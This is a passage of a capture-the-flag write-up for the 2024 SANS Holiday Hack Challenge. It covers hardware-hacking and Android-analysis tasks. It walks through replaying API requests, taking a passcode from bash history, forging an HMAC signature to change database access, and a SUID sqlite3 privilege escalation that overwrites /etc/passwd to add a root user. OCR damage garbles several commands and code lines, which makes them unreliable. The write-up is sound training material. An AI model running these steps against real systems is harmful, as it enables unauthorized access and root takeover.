final width = 1000

final height = 1000

final image = Image.new('RGB', (final width, final height))

# Step 2: Process each image and paste it at the correct horizontal position
x offset = 0
for item in sorted data:

img path = item[O0]

img = Image.open (img path) # Open the image

# Step 3: Paste the image at the current x offset
final image.paste(img, (x offset, 0))

# Update the x offset to the next position (each image is 1 pixel wide)
x offset += img.width
print (f"Pasted {img path} at position {x offset}")

# Step 4: Save the final image
final image.save('new assembled image.jpg')
print ("Final image saved as 'new assembled image.jpg'")

except Exception as e:
print (f"Error accessing directory {directory}: {e}")

slices directory = "slices" # Replace with your directory path if different
process _directory(slices directory)

2024 SANS Holiday Hack Report by James Mar

17




Concatenated String: Long ago, in the snowy realm of the North Pole (not too far away if you're a reindeer),
there existed a magical land ruled by a mysterious figure known as the Great Claus. Two spirited elves, Twinkle
and Jangle, roamed this frosty kingdom, defending it from the perils of holiday cheerlessness. Twinkle, sporting
a bright red helmet-shaped hat that tilted just so, was quick-witted and even quicker with a snowball. Jangle, a
bit taller, wore a green scarf that drooped like a sleepy reindeer’s ears. Together, they were the Mistletoe
Knights, the protectors of the magical land and the keepers of Claus’ peace. One festive morning, the Great
Claus summoned them for a critical quest. 'Twinkle, Jangle, the time has come,' he announced with a voice that
rumbled like thunder across the ice plains. 'The fabled Never-Melting Snowflake, a relic that grants one wish,
lies hidden beyond the Peppermint Expanse. Retrieve it, and all marshmallow supplies will be secured!' Armed
with Jangle’s handmade map (created with crayon and a lot of optimism), the duo set off aboard their toboggan,
the Frostwing. However, the map led them in endless loops around the Reindeer Academy, much to the amusement of
trainee reindeer perfecting their aerial maneuvers. Blitzen eventually intercepted them, chuckling, 'Lost,
fellas? The snowflake isn’t here. Try the Enchanted Peppermint Grove!' Twinkle facepalmed as Jangle pretended to
adjust his map. With Blitzen’s directions, they zoomed off again, this time on the right course. The Peppermint
Grove was alive with its usual enchantments—candy cane trees swayed and sang ancient ballads of epic sleigh
battles and the triumphs of Claus’ candy cane squadrons. Twinkle and Jangle joined the peppermint choir, their
voices harmonizing with the festive tune. Hours later, the duo stumbled upon a hidden cave guarded by giant
gumdrop sentinels (luckily on their lunch break) . Inside, the air shimmered with Claus’ magic. There it was—the
Never-Melting Snowflake, glistening on a pedestal of ice. Twinkle’s eyes widened, 'We’ve found it, Jangle! The
key to infinite marshmallows!' As Twinkle reached for the snowflake, a voice boomed from the cave walls, 'One
wish, you have. Choose wisely or face the egg-nog of regret.' Without hesitation, Jangle exclaimed, 'An endless
supply of marshmallows for our cocoa!' The snowflake glowed, and with a burst of magic, marshmallows poured
down, covering the cave in a fluffy, sweet avalanche. Back at the workshop, the elves were hailed as heroes—the
Marshmallow Knights of Claus. They spent the rest of the season crafting new cocoa recipes and sharing their
bounty with all. And so, under the twinkling stars of the northern skies, Twinkle and Jangle continued their
adventures, their mugs full of cocoa, their hearts full of joy, and their days full of magic. For in the North
Pole, every quest was a chance for festive fun, and every snowflake was a promise of more marshmallows to come.

8 Solution Steps for Gold

From Jewel Loggins: Rumor has it you might be able to bypass the hardware altogether for the gold medal. Why not see if you
can find that shortcut?

From Devlools, the Sources tab has the file which shows an alternate APl endpoints in a comment ( vs ):

Redo the silver solution while having Devlools or Burp Suite capturing network traffic.
curl method: In the network tab in Devlools, copy the request as curl. Runin a CLI that has curl changing to .
Burp method: In the Proxy-HTTP history, find the |/api/v2 /complete| record. Right-click and send to Repeater. Change to .

Dashboard Target Proxy Intruder Repeater Collaborator Se

Name X d e Initiator

complete _ 1 x 2 x +
|_sena )

Clear browser cookies

Copy
quest URL - el . i uest
quest domain A Pretty Raw Hex
Sort By >  Copy as fetch (Node.js) 1 POST /dDiCUﬂlpLEte HTTP/2

£ chunk.badget  Header Opti 2 Host: hhc24-hardwarehacking.holidayhackchallenge.com
Copy response

Key Learnings
e How to set up a UART device to control the SLH over a serial connection.
e How to use a public Python tool to reassemble shredded images.
e How to recognize and decode Base64 data
e How to find clues for alternate APl endpoints and to replay HTTP POST messages using Devlools, curl, and Burp.
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Act 1: Hardware Hacking 101 Part 2% * % % #%

Hardware Hacking 101 Part 2: Santa’s gone missing, and the only way to track him is by accessing the Wish List in his chest—
modify the access_cards database to gain entry!

© Goals
e Silver: Grant full access to card 42 via Santa's Little Helper (slh) application.
e Gold: Grant full access to card 42 via direct database modification .

i% Key Hints
e |tis soimportant to keep sensitive data like passwords secure. Often times, when typing passwords into a CLI
(Command Line Interface) they get added to log files and other easy to access locations. It makes it trivial to step
back in history and identify the password.

e | seem to remember there being a handy HMAC generator included in CyberChef.

Background Info: CyberChef
CyberChef is a free, web-based tool that helps you perform various data processing tasks easily, like encoding, decoding,
encrypting, and analyzing data. It's like a digital Swiss Army knife for handling different types of data, allowing you to drag and
drop various operations to process your text, files, or codes quickly and efficiently.
8 Solution Steps for Silver

At the initial splash screen, press enter to start the first option, |Startup system (Default)l:

» move, ENTER to select

We get the following banner upon login showing how to use the access card maintenance tool:

| [ ol
\_ N\ [ B
|/ [ B B B
_‘""""ll|_|llll"""‘_l"llll""‘
"‘_O_O_'”‘_O_O_l"‘_o_o_‘

T~

Santa's Little Helper - Access Card Maintenance Tool

Tool Name: slh

options:
-h, --help show this help message and exit
--view-config View current configuration.
--view-cards View current values of all access cards.
--view-card ID View a single access card by ID.

--set-access ACCESS LEVEL
Set access level of access card. Must be 0 (No Access) or 1 (Full Access).

--id ID ID of card to modify.
—--passcode PASSCODE Passcode to make changes.
--new-card Generate a new card ID.

To understand the data, we pull all cards. There are four fields for every row: [id], auid], [fccess], and[signature].

slh@slhconsole\> slh --view-cards | head

Current values of access cards: (id, uuid, access, signature)

(1, 'b1709de8-9156-4af3-8816-2d2b602addlc', 1,
'89a91da4d617f5cab84a6387f2f5a6cldeed4l134fb77be87c78c0ec053a343el55")

Card number from Jewel Loggins has access |§| Note, the UUID in cyan will be used in the gold challenge.

slh@slhconsole\> slh --view-card 42

Details of card with ID: 42

(42, 'c06018b6-5e80-4395-ab71-ae5124560189', O,

'ecb9del 5a057305e5887502d46d434c9394f5ed7ef1a51d2930ad786b02f6ffd")

+Side Note
42 is especially significant to fans of science fiction novelist Douglas Adams' "The Hitchhiker's Guide to the Galaxy" because
that number is the answer given by a supercomputer to "the Ultimate Question of Life, the Universe, and Everything."
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To make changes, we need the switch, but we don't know the passcode. Using the clue that mentions ,
type to see the past commands and the passcode:

\> history
cd /war/waw/html
1s -

sude nanc index.html
cd ..

sude apt update
sude apt upgra
ping 1.1.1.1
slh —-help

7. ——set-access 1 ——id 143

+»Side Note
Besides typing out the command manually, these are other possible ways to get the command:
e  Press the up arrow several times.
. to rerun the command and then up arrow to modify the id to .

e Press ctrl + R, then type to recall the previous command with that string, then press right arrow to edit.

Silver Answer

slh --passcode CandyCaneCrunch77 --set-access 1 --id 42

\> slh —passcode CandyCaneCrunch7? —-set-access 1 —id 42

8 Solution Steps for Gold

We get instructions from Jewel Loggins on how to get the Gold medal. "There’s a tougher route if you're up for the challenge to
earn the Gold medal. It involves directly modifying the database and generating your own HMAC signature.

Doing in the home directory shows one file that is an SQLite database file."

slh@slhconsole\> 1ls

access_cards

slh@slhconsole\> file access_cards

access cards: SQLite 3.x database, last written using SQLite version 3040001, file counter 4, database pages 32,
cookie 0x2, schema 4, UTF-8, version-valid-for 4

We can use sqlite3 to view the database.

slh@slhconsole\> sqlite3

SQLite version 3.40.1 2022-12-28 14:03:47

Enter ".help" for usage hints.

Connected to a transient in-memory database.

Use ".open FILENAME" to reopen on a persistent database.

sglite> .open access cards

sglite> SELECT name FROM sqglite master WHERE type='table';

access_cards

config

sglite> select * from config;

1 |hmac secret|9edl1515819dec61£d361d5fdabb57fd4leccela5felfe263b98c0d6943b9%b232e
2 |hmac_message format | {-} {uuid}

3ladmin password|3a40ae3f3fd57b2a4513cca783609589dbe51ce5e69739a33141c5717¢c20c9cl
4|app version|1.0

sglite> select * from access cards where id=42;
42]|c06018b6-5e80-4395-ab71-ae5124560189|0]ecb9de15a057305e5887502d46d434c9394 f5ed7ef1a51d2930ad786b02f6ffd

+»Side Note
e To load the table directly, you could type [sqlite3 access cards|atthe prompt.
e While in the sqlite prompt, also can be used to display the tables.
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Takeaways from database:
e HMAC is used for authentication for the db. The secret key (starting with is provided in the database.

e From the table, record #2 shows the format of the input: } {uuid},

e Googling the secret shows that it's the SHA256 hash of the string .

@ Md5Calc.com
https:/mdScaic.com » hash »

SHA256 hash for "pizza”

SHA256 hash for "pizza" is
9ed1515819dec611d361d5fdabb57f41ecce1a5fe1fe263b98c0d6943b9b232e". Free online sha256.

Background Info: HMAC
HMAC (Hash-Based Message Authentication Code) is used for data integrity and authentication in secure communications,
data storage, and APl Authentication. It requires a secret key and a hash algorithm to generate a hash value where a server can
validate passwords without directly storing the plaintext password, thus protecting against potential breaches.

To craft our database update, we get the HMAC of the format defined in the database: } {uuid) Orlc06018b6—5e80—|
[4395-ab71-2e5124560189|. The UUID is from the silver challenge. Put these and the key in the HMAC function in CyberChef:

Recipe ~ a3l Input

HMAC . 1c86818b6-52808-4395-ab71-ae512456@139
me 37 = 1

9ed1515819dec61fd361.. VT8~ SHA256 Output 4%

135a32d5026C5628b175326c67015c8fB4226051ef7391c255 2Ce2815h1b7995|

Gold Answer
Run the following database update statement to grant full access to user 42.
To paste into the terminal, press [ctrl + shift + v|or|shift + insert|or|right-click pastel:

sglite> update access cards SET sig='135a32d5026c5628bl753e6c67015c0£04e26051e£7391c2552de2816b1b7096'
access=l where id= 42;
sglite>

# ok & F ok ok ok ¥ & F & F K =
* O $S8SSS\ $SSSSS\ $SSSSS\ $SSSSSSS\ $SSSSS\ $SSSSS\

*§S 85\ 8 S5\ $5 S8\ $§ 1$$ S5\ $8 85\ *
*$5 / 8S 185/ \__I8S / \__I55 | $$/ \_18S / \_| *
$55553S8S 18S | $$ | $5558\ ASSSSSS\  \$585S5\
*$S  _ 8S 1$S | $S | $s | \ S\ \ ECAN
* 8 1 $S IS8S | $S\ S | S8\ S5 | EEAY EEREEAN $$ | *
€ $S 1 $S 1\S$$S5S5S  [\$S$SS8S [S$5S55S5555\ \$5558S8 [\$58585 | e
L / o\ /\ I\ /N /ox
B B * Ed * ES Ed Ed *
* 585555\ 5555558\ EEEEEEANCEAN S$S\ \ \ N\ SS\ *
* 85 S5\ 85 _ S5\ $S  _ SS\ $85\ 85 |\ 85 _ |$$ 1$$ S8\ §$ | *
* 88/ \__IS$S | $S 155/ S5 18SSS\ $S | $$ | $s | $$ | $$ I$S |*
* 55 |$$SS\ $585S855 158585555 18S $S\SS | $$ | EEEEEAY $$ 1 85 1SS | *
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»Side Note

We can become root using privilege escalation via SUID. sqlite has its SUID bit set so it does not drop the elevated privileges
and may be abused to access the file system. This was seen in last year's 2023 Holiday Hack Linux PrivEsc Challenge with the
simplecopy program. Reference used for commands.

slh@slhconsole\> which sqlite3

/usr/bin/sqglite3

slh@slhconsole\> 1ls -1 /usr/bin/sqlite3

-rwsr—-xr-x 1 root root 306888 Nov 2 20:03 /usr/bin/sglite3

slh@slhconsole\> sqlite3 /dev/null -cmd ".output /etc/passwd" 'select "jamesm::0:0:root:/root:/bin/bash";'
slh@slhconsole\> su jamesm

bash: cannot set terminal process group (9): Inappropriate ioctl for device

bash: no job control in this shell

jamesm@024c0b8f3110:/home/slh# id

uid=0(jamesm) gid=0(root) groups=0(root)

Key Learnings
e How to use the help to learn how to use a custom command line tool, slh.
e How to recall commands in Bash history.
e How to use sqlite3 to query and update tables.
e How HMAC is used for authentication and securing passwords and how to generate them.
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Act 2 Mobile Analysis# % # # #%

Help find who has been left out of the naughty AND nice list this Christmas. Please speak with Eve Snowshoes.

© Goals
Use APKTool/Jadx and Bundletool to hack into the Android files to find who's been left off the Naughty-Nice list.

i Key Hints

e  Try using apktool or jadx
e Soyeah, have you heard about this new Android app format? Want to convert it to an APK file?
[ ]

Obfuscated and encrypted? Hmph. Shame you can't just run strings on the file.

Background Info: Apktool, Jadx, and Bundletool
Apktool and Jadx are tools to decompile Android application packages (APKs) to make them human readable. Bundletool is a
tool that converts the new Android app format, AAB (Android App Bundle) to APK. AABs let Google Play generate tailored APKs
based on the user's device specifications instead of requiring distributing a single APK for all devices.

8 Solution Steps for Silver
Eve's chat had two links: "I made a debug version and a release version of the app." The debug version is an APK for the silver
challenge, and the release version is an AAB file for the gold challenge. Using the Jadx tool from the hint, open the APK file and

search for database related terms under the menu, [Text search|.

File View I!Mm Tools Plugins Help
= B S Text search Ctrl+Shift+F

SantaSw Class search Cirl+N |
B Input| & Comment search _ Cirl+Shifi+Semicolon -~

Silver Answer
After trying different database keywords to search for, | found to work to see that - was removed:

Text search: where = &

Search for text:

where Auto search

Search definitions of: Search options:

| Class Method Field Code Resource Comments Case-insensitive

Regex | | Active tab only
Node
¢, androidx.compose.material.BottomDr. .. ated(message = "This functicn is deprecated. Please use the overload where Density i1s Brovided.", replace
¢, androidx.compose.material.Bottomsh. .. (message = "This function is deprecated. Please use the overload where Density 1s Brovided.", replace
¢, androidx.compose.material.ModalBot... @ zted(message = "This function 1s deprecated. Please use the overload Where Density 1s Brovided.", replact
¢, androidx.compose.ul.text.input.Edi... public static final int NOWHERE = -1;
€, androidx.compose.ui.text.input.Par... public static final int NOWHERE = -1;
m, androidx.core.database. DatabaseUtllsC: public static String concatenateWhere(String a, String b) {
m, androidx.core.view.ActionProvider.set' Log.w(TAG, "setVisibilitylListener: Setting a new ActionProvider.visibilitylListener when one iff already set. Are
m, androldx.emoj12.text.SpannableBuilder public SpannableStringBuilder insert(int where, cCharcequence tb) {
m, androldx.emoj12.text.SpannableBuilder super.insert(where, tb);
m, androldx.emoji2.text.SpannableBuilder public SpannableStringBuilder insert(int where, charSequence tb, int start, int end) {

m, androldx.
¢, androidx.

emoj12.text.SpannableBullder

compose

.foundation.pager....

super.insert(where, th, start, end);

-?_\E-e|:-|'e-:ate:l(level = DeprecationlLevel .ERROR, message = 'Please use the overload Where you can Wrovide a source o

m, com.northpole.santaswipe.MainActivity Curser cursor = sQLiteDatabase.rawQuery('SELECT Item FROM NormaU_15t WHERE Item NOT LIKE', null);
m, com.northpole.santaswipe.MainActivity sQLiteDatabase.execSQL("DELETE FROM Nicelist WHERE Item = '" + item + "';");

m, com.northpole.santaswipe.MalnActivity sQLlteDatabase3.execSQL("DELETE FROM Naughtylist WHERE Item = '" + item + "';");

m, com.northpole.santaswipe.MainActivity sQLiteDatabase2.execSQL("DELETE FROM Normallist WHERE Item = '" + item + "';");

f, androldx.compose.ul. text.

f _android

Li_taxt

1nput.Editing
innut Dartia

B Alternate Solution Steps for Silver: apktool
Here's how | used apktool to decompile the apk:

$ apktool d SantaSwipe.apk
I: Using Apktool 2.9.3 on SantaSwipe.apk
.<snipped>
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I then used a Bash script to run strings on all files and grep for the and then to find Ellie.

$ cd SantaSwipe/

S 1ls

AndroidManifest.xml apktool.yml assets kotlin META-INF original res smali smali classes2 smali classes3
smali classes4 smali classes5 unknown

/SantaSwipe$ find | while read fn; do strings "$fn" 2>/dev/null ; done | grep -i select | grep -i from

const-string v2, "SELECT Item FROM NaughtyList"
const-string v2, "SELECT Item FROM NiceList"
const-string v3, "SELECT Item FROM Normallist WHERE Item NOT LIKE \'S%Ellie\'"

B Alternate Solution Steps for Silver: Load APK In Android Studio
In Android Studio, under the menu, select[profile or Debug APK|. Selectthe [Santaswipe.apk]file. You should get the
screenshot on the left. Underthe [Edit|menu, select[Find] and[Find in Files...|and searchforfellie].

® ® 58§ santasw... Versl R [E . 3 8 H G 3 & Q File mask:
Android -

mar/ApkPr

o

, "SELECT Item FROM NormalList WHERE Item NOT LIKE \'%ZZ%\" MainActivity$WebAppinterface.smali 1090

rnal/Intrinsic

move-object vi, v2

B Alternate Solution Steps for Silver: Load APK in Emulator in Android Studio

Looking at the decompiled app isn't too visually appealing. However, using Android Studio, we can install the app onto a virtual
device and see the application in action. This method involves comparing the list in the running app to the full list which we
need to get from decompiling anyway. So this method is more about learning how to run an APK in a virtual device.

In the menu, and click then . Choose , then just the defaults for the project settings. Then
under the menu, clickIDevice Managerl. Click the [+| to add a new phone (screenshot). | picked one called Small Phone
with Android 15.0. Press the button to start the virtual device (screenshot).

Device Manager Name API Type

T [, Small Phone API 35

Name  add a new device

35 Virtual >

To install the app, drag and drop the SantaSwipe.apk file from your host machine's file manager onto the phone's desktop. To
see the app, search for Santa in the Google search bar. Click to run. Swipe names to put them on the Naughty or Nice lists.
L v4n Yulisted  fice Jaughty
G saNTA x Ynlisted

Suige right o grant  spet on the Nice
Tist or seeipe Ceft to send them straight
1o the Naughty List

F ' N
=

Santa Swipe
Larbos Madrid Spain

8 Solution Steps for Gold
From the hint, install and run to convert the AAB file to an APK. | used ChatGPT to get the right java command to do
this. The link from the hint mentions to move and unzip the file. Then analyze the universal.apk file in Jadx.

$ java -jar bundletool-all-1.17.2.jar build-apks --bundle=SantaSwipeSecure.aab --output=output.apks --
mode=universal

INFO: The APKs will be signed with the debug keystore found at '/home/james/.android/debug.keystore'.
$ mv output.apks output.zip

$ unzip output.zip -d output
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Recalling the silver challenge, | looked for database terms in the hierarchy, and |DatabaseHelper| caught my eye.

*universal- jadx-gui

File View Navigation Tools Plugins Help

= # S ALY T Q > BO&(8 | F
universal .apk ¢, DatabaseHelper
B Inputs

package com.northpole.santaswipe;

COROL‘”INE import android.content.Context;

droid.support.v4 import android.database.Cursor;

dndroidx import android.database.sqlite.SQlLiteDatabase;

com import android.database.sqlite.SQLiteOpenHelper;
oMl e .common.util.concurrent import android.util.Basecd;
northpole . santaswipe import android.util.Lo

import java.util.

uijgheme import java.util.
coatt import java.util.
import javax.crypto.Cipher;
¢ Cnmnaninn import javax.crypto.spec.GCMParameterSpec;

Here, | saw cryptography terms, [e], [iv], and [aes]. There was a long Base64 string being fed into a function.

/* JADX WARN: 'super' call moved to the top of the method (can break code semantics) */
public DatabaseHelper (Context context) {
super (context, DATABASE NAME, (SQLiteDatabase.CursorFactory) null, 1);
Intrinsics.checkNotNullParameter (context, "context");
String string = context.getString(R.string.ek);
Intrinsics.checkNotNullExpressionValue(string, "getString(...)");
String obj = StringsKt.trim((CharSequence) string) .toString();
String string2 = context.getString(R.string.iv);
Intrinsics.checkNotNullExpressionValue (string2, "getString(...)");
String obj2 = StringsKt.trim((CharSequence) string?2) .toString();
byte[] decode = Baseb64.decode(obj, O0);
Intrinsics.checkNotNullExpressionValue (decode, "decode(...)");
this.encryptionKey = decode;
byte[] decode2 = Baseb64.decode (obj2, 0);
Intrinsics.checkNotNullExpressionValue (decode2, "decode(...)");
this.iv = decode2;
this.secretKeySpec = new SecretKeySpec(decode, "AES");
. ..<snipped>
db.execSQL (decryptData ("IVrt+9Zct4oUePZeQgFwyhBix8cSCIxtsa+lJZKkMNpNFBgoHeJlwp73120yEh1Y 6AfgnfH7gcU9Y foveu70cUA2/
OwcxVt 7Ubdn 0UD2k ImNsc 1EQI9M8PpnevBX3mX1 W2 QnH8+Q+SC7 JaMUc 9CIvxB2HYQG2Juj Qf 6skpVaPAKGXELgDj+2UyTAVLoeUlQj cl8swZVtTQ
07Zwe6sTCY1rw7GpFXCAUI6Ex29gfeVIeB7pK7M4 kZGy30IaFx fTdevCoTMwkoPvJuRuUpA 6ybp3 6vmLLMX aAWsr DHRUbKEE 6UKvGoC 9d5vamKeIO
9elASuagxjBJd"));

Lower down in the file, | found the function showing it uses |AES/GCM/NoPadding.

private final String decryptData(String encryptedData) {

try {
Cipher cipher = Cipher.getInstance ("AES/GCM/NoPadding");
cipher.init (2, this.secretKeySpec, new GCMParameterSpec (128, this.iv));
byte[] doFinal = cipher.doFinal (Base64.decode (encryptedData, 0));
Intrinsics.checkNotNull (doFinal) ;
return new String(doFinal, Charsets.UTF 8);

} catch (Exception e) ({
Log.e("DatabaseHelper", "Decryption failed: " + e.getMessage())
return null;

}

Background Info: AES, EK, and IV
AES, or the Advanced Encryption Standard, is a symmetric encryption algorithm widely used across the globe to secure data.
EK (Encryption Key): The key used in the encryption and decryption processes. The security of AES relies heavily on the secrecy

and complexity of this key.
IV (Initialization Vector): A random or pseudo-random value used in conjunction with a secret key to ensure that the same

plaintext will encrypt to different ciphertexts each time, which adds an extra layer of security and prevents certain types of
attacks. The IV is typically required to be unique and unpredictable for each encryption operation.
To decrypt the data, we need the EK and IV values. | did a regex search for with for word boundaries. This would filter out

any words containing , like "weekend." The aligns with one of the clues from Eve Snowshoes.
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Text search: \bek\b

Search for text:
Search definitions of: Search options:
|v| Class [v|Method |v|Field [v]Code [/] Resource [v|Commenis [v] Case—insenswlwem Active tab only

Node
m, com.northpole.santaswipe.DatabaseHelper.DatabaseHelper (Context) 1d g string = context.getString(R.string.ek);
m, com.northpole.santaswipe.MainActivity.onCreate(Bundle) voi = 7 string2 = getString(R.string.ek);
€, com.northpole.santaswipe.R.string public static int ek = ox7f090033;

f, com.northpole.santaswipe.R.string.ek 1int

7l resources.arsc <public type="string" name="gk" id="ox7f020033" /=

e res/values-cs/strings.xml <string name="date_input_invalid_for_pattern"=Datum neodpovids oéekavané
o res/values-cs/strings.xml <string name="date_input_invalid _year_ range"=Datum mmo ocekavany rozsah
|== res/values/strings.xml <string name="ek“:-rmDJle?ZtKySlkL56X9b22vat6]LGYWlDSth]ka=<,fstr1ng>|

Going to the file itself, | also found the :

*universal - jadx-gui

File View Navigation Tools Plugins Help

=f S HE T Q <> B0O0% 8|F
universal.apk <, DatabaseHelper SR & res/values/strings.xml

¥ Inputs
Source code

=r ) =S LIy TalE= ULatuy ~0latiye/ s el Lig~
<string nam ropdown menu">Dropdown menu=/string>

<string nam k" =rmDJ1wl7ZtKy3lkLs6X0bZ2IvptE] LEYWLDsXtg]kXw==/string=>
e =String nam RpanuedT SCXpanded=/String=
kotlin =string nam n_progress"=In progress</string=
<string nam ndeterminate"=Partially checked</string=
META - INF | <string name="1v">Q2hlY2tNYXRlcml4=/string>
res 5SS TSTTINg ST BOTTON_SheeT_pane_TrTrersBottom Sheet=/string=
# AndroidManifest .xml 5 <string /lgation_menu"=Navigation menu</string=
classes.dex 51 <string ot_selected"=Not selected</string=
52 < " <
classas?.dex - 'Strmg ff EOff';:Strl”g’
. 53 <string n"=0n</string>
F DEDUQPrObESKt -bin . 54 <string ange_end">=Range end=</string=
»kotlin-tooling-metadata.json 55 =string ange_start"=>Range start=/string=
i resources.arsc 56 =string earch_bar_search">Search=/string>
ras 57 <string elected"=Selected=/string=
values 58 <string nackbar_dismiss"=Dismiss=/string=
Tt 1 56 <string tatus_bar_notification_info_overflow"=999+</string>
s STLPS. W 7 <strin stions_available">S t belows=/st
< g uggestions_available"=Suggestions below=/string=

& colors.xml 71 =string

teh_role"=Switch=/string=>
& dimens.xml 72 <string

ab"=Tab=/string=

& drawables . xml 7 <string emplate_percent"=%1$d percent.</string>
intena s 74 <string ime_picker_am"=>AM</string=>
75 =string 1me_picker_hour"=Hour=/string=
7 <string ime_picker_hour_24h_suffix"=%1$d hours=/string=
mn STYLES XM 7z =string name="time picker hour selection"=>Select hour</string>

<string name="ek">rmDJ1wJ7 ZtKy31kLs6X9%Z2Jvpt6jL6YWiDsXtgjkXw=</string>
<string name="iv">Q2h1Y2tNYXRlcml4</string>

»Side Note
The iv value Base64 decodes to . Could this be a reference to performing a winning move in chess?
Al tools helped me with this Python code to perform AES decryption:

o)

% cat decrypt hard single.py

from Crypto.Cipher import AES

from Crypto.Util.Padding import unpad
import base64

def decrypt data (encrypted data, encryption key, iv):
try:
# Decode the key, IV, and encrypted data from Base64
key = base64.b64decode (encryption key)
iv = base64.b64decode (iv)
encrypted data bytes = base64.b64decode (encrypted data)

# Initialize the cipher
cipher = AES.new(key, AES.MODE GCM, iv)

# Decrypt the data
decrypted data = cipher.decrypt and verify (encrypted data bytes[:-16], encrypted data bytes[-16:])

# Unpad the decrypted data and return as a string
return decrypted data.decode('utf-8")
except Exception as e:
print (f"Decryption failed: {e}")
return None
# Example usage
encryption key = "rmDJ1wJ7ZtKy31lkLs6X9bZ2Jvpt 6jL6YWiDsXtgjkXw=""
iv = "Q2hlY2tNYXRlcml4"
encrypted data =
"IVrt+9Zctd4oUePZeQgFwyhBix8cSCIxtsa+lJZkMNpNFBgoHe Jlwp73120yEhl Y6AfqnfH7gcU9Y foveu70cUA2/OwexVt 7Ubdn 0UD2k ImNs c1E
Q9M8PpnevBX 3mX1W2QnH8+Q+SC7JaMUc9CIvxB2HYQG2JujQf6skpVaPAKGx fLgD] +2UyTAVLoeUlQjc18 swZVEtTQO7Zwe6sTCY1 rw 7GpFXCAUI6
Ex29gfeVIeB7pK7M4kZGy30IaFxfTdevC oTMwkoPvJuRuUpA6 ybp36vmLLMXaAWs rDHRUDK fE 6UKvGoC9d5vamKe I09elASuagxjBJ"
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decrypted data = decrypt data(encrypted data, encryption key, iv)
print (f"Decrypted Data: {decrypted data}")

The script above decrypts the data to an SQL command which includes a DELETE statement on a Base64 string:

% python3 decrypt hard single.py
Decrypted Data: CREATE TRIGGER DeletelfInsertedSpecificValue
AFTER INSERT ON NormalList
FOR EACH ROW
BEGIN
DELETE FROM NormalList WHERE Item =
'KGfb0vd4u/ 4EWMN Obp03 5hR7j jpMiL4NQur jgH IQHNaRaDnI YoKQ9JusGaal aAkGEVVE=" ;
END;

Gold Answer
Running that Base64 through the decoder gives us the answer that - was removed:

o)

% python3 decrypt hard single2.py
Decrypted Data: JOSHHa, Birmingham, United Kingdom

8 Alternate Solution Steps for Gold: Using CyberChef

IVrt+9Zct4olePZeQqFuyhBix8cSCIxtsa+1IZkMNpNFBgoHellwp7312

From Base64 oyER1VEATGNFHT BCUSYFovEUTACUAR/OuCKVt7UbdnaUD2K ImNsc1EQaM
Alghabet 8PpnevBX3mxX1W2QnHE+Q+SC7 1aMUc9CIvxB2HYQG2IujQf6skpVaPAKGx
A*Zél*‘:@*%ﬁ": - Remove non-alphabet chars D Strict mode fLgDj+2UyTAVLoeU1Qjc18swZViTQO7ZuessTCY1rw7GpFXCAUIGEX29g

TeVIeB7pK7MAkZIGy0IaFxfTdevCoTMukoPvIuRupABybp3GvmLLMXaAl
srDHRUbKFEBUKvGoC9d5vgqmKeI09e1ASuagxjB]

To Hex - Cipher Text
Delimiter Bvtes per line
None a

Register i

ac 324 = 1 Tr Raw Bytes & LF
Extractor
(.{32}3%) Case insensitive D Multiline matching Output g rD ;oo
EXTraCt ‘aSt 16 bytes (32 hex Char) CREATE TRIGGER DeleteIfInsertedSpecificvalue
[] Dot matches all for GRM Tag- Save into $RO. AFTER INSERT ON Normallist
FOR EACH ROW
$R@ = Sdebfaab29e28ef5e9484a26a0C63649 BEGIN
DELETE FROM NormallList WHERE Item =
"KGfbevd4us4EWMNebp@35hRjjpMiL4NQurjgHIQHNaRaDNIYbKQIIusG
Drop bytes = aalaAkGEVVS="};
Remove last 16 bytes £nD; Clear Text
Start Lenath (32 hex char) from o
e -32 input to AES Decrypt. [<"""*

AES Decrypt o
Kev v Mode
rmDJ1wI7ZtK. — BASEG4 Q2hlvatnyxR. — DASEG4 GCM
Input Outout coma|  GCM from Jadx analysis,

Hex Raw sre | $RO from Cyberchef Register
Additional Authenticated Data HEX ~

CyberChef recipe
Background Info: GCM
The last 16 bytes of ciphertext are used as a GCM (Galois/Counter Mode) tag for AES. In simple terms, GCM takes your plain
text data, encrypts it using AES, and simultaneously generates a unique tag that helps verify the data's authenticity.
8 Alternate Solution Steps for Gold: Using Java
| asked Al tools to produce Java code to do the AES decryption based on the code | found in Jadx. Here's what it provided:

import javax.crypto.Cipher;

import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.util.Base64;

import java.nio.charset.StandardCharsets;

public class AESDecryption {

private final SecretKeySpec secretKeySpec;
private final byte[] iv;

public AESDecryption (SecretKeySpec secretKeySpec, byte[] iv) {
this.secretKeySpec = secretKeySpec;
this.iv = iv;

}

private String decryptData (String encryptedData) {
try {
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https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)To_Hex('None',0)Register('(.%7B32%7D$)',true,false,false)Drop_bytes(0,-32,false)AES_Decrypt(%7B'option':'Base64','string':'rmDJ1wJ7ZtKy3lkLs6X9bZ2Jvpt6jL6YWiDsXtgjkXw%3D'%7D,%7B'option':'Base64','string':'Q2hlY2tNYXRlcml4'%7D,'GCM','Hex','Raw',%7B'option':'Hex','string':'$R0'%7D,%7B'option':'Hex','string':''%7D)&input=SVZydCs5WmN0NG9VZVBaZVFxRnd5aEJpeDhjU0NJeHRzYStsSlprTU5wTkZCZ29IZUpsd3A3M2wyb3lFaDFZNkFmcW5mSDdnY1U5WWZvdjZ1NzBjVUEyL093Y3hWdDdVYmRuMFVEMmtJbU5zY2xFUTlNOFBwbmV2QlgzbVhsVzJRbkg4K1ErU0M3SmFNVWM5Q0l2eEIySFlRRzJKdWpRZjZza3BWYVBBS0d4ZkxxRGorMlV5VEFWTG9lVWxRamMxOHN3WlZ0VFFPN1p3ZTZzVENZbHJ3N0dwRlhDQXVJNkV4MjlnZmVWSWVCN3BLN000a1pHeTNPSWFGeGZUZGV2Q29UTXdrb1B2SnVSdXBBNnlicDM2dm1MTE1YYUFXc3JESFJVYktmRTZVS3ZHb0M5ZDV2cW1LZUlPOWVsQVN1YWd4akJK
